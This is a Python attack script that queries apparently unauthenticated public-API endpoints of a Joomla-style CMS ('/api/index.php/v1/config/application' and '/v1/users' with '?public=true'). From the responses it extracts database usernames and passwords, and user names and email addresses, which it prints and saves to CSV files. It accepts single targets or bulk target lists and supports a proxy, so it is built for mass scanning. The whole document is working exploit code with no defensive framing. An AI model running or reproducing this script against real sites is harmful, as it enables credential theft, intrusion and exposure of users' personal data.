1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| import requests import argparse import csv import json
timeout = 10
output = "" proxy = {} notColor = False
def inGreen(s): return "\033[0;32m{}\033[0m".format(s)
def inYellow(s): return "\033[0;33m{}\033[0m".format(s)
def readFile(filepath): file = open(filepath, encoding='utf8') return file.readlines()
def writeFile(filepath, data): file = open(filepath, 'a', encoding='utf8') filecsv = csv.writer(file) filecsv.writerow(data)
def reqDatabase(url): if url.rindex("/") == len(url) - 1: url = "{}api/index.php/v1/config/application?public=true".format(url) else: url = "{}/api/index.php/v1/config/application?public=true".format(url)
payload = {} headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close' }
response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
if "links" in response.text and "\"password\":" in response.text: try: rejson = json.loads(response.text) user = "" password = "" for dataone in rejson['data']: if "user" in dataone['attributes']: user = dataone['attributes']['user'] if "password" in dataone['attributes']: password = dataone['attributes']['password'] if user != "" or password != "": printBody = "[+] [Database] {} --> {} / {}".format(url, user, password) if notColor: print(printBody) else: print(inYellow(printBody)) if output.strip() != "": writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text]) return url, response.text except: pass
def reqUserAndEmail(url): if url.rindex("/") == len(url) - 1: url = "{}api/index.php/v1/users?public=true".format(url) else: url = "{}/api/index.php/v1/users?public=true".format(url)
payload = {} headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close' }
response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
if "username" in response.text and "email" in response.text: try: rejson = json.loads(response.text) for dataone in rejson['data']: username = "" email = "" if "username" in dataone['attributes']: username = dataone['attributes']['username'] if "email" in dataone['attributes']: email = dataone['attributes']['email'] if username != "" or email != "": printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email) if notColor: print(printBody) else: print(inGreen(printBody)) if output.strip() != "": writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text]) return url, response.text except: pass
def reqs(listfileName): urls = readFile(listfileName) for url in urls: url = url.strip() if url == "": continue reqDatabase(url) reqUserAndEmail(url)
def main(): parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL") parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件") parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置") parser.add_argument('-p', '--proxy', type=str, default="", help="代理,如:http://localhost:1080") parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出,如:-nc true")
opt = parser.parse_args() args = vars(opt) url = args['url'] urlFileName = args['listfile'] global output, proxy, notColor output = args['output'] proxy['http'] = args['proxy'] proxy['https'] = args['proxy'] notColor = args['notColor']
if url != "": reqDatabase(url) if urlFileName != "": reqs(urlFileName)
if __name__ == '__main__': main()
|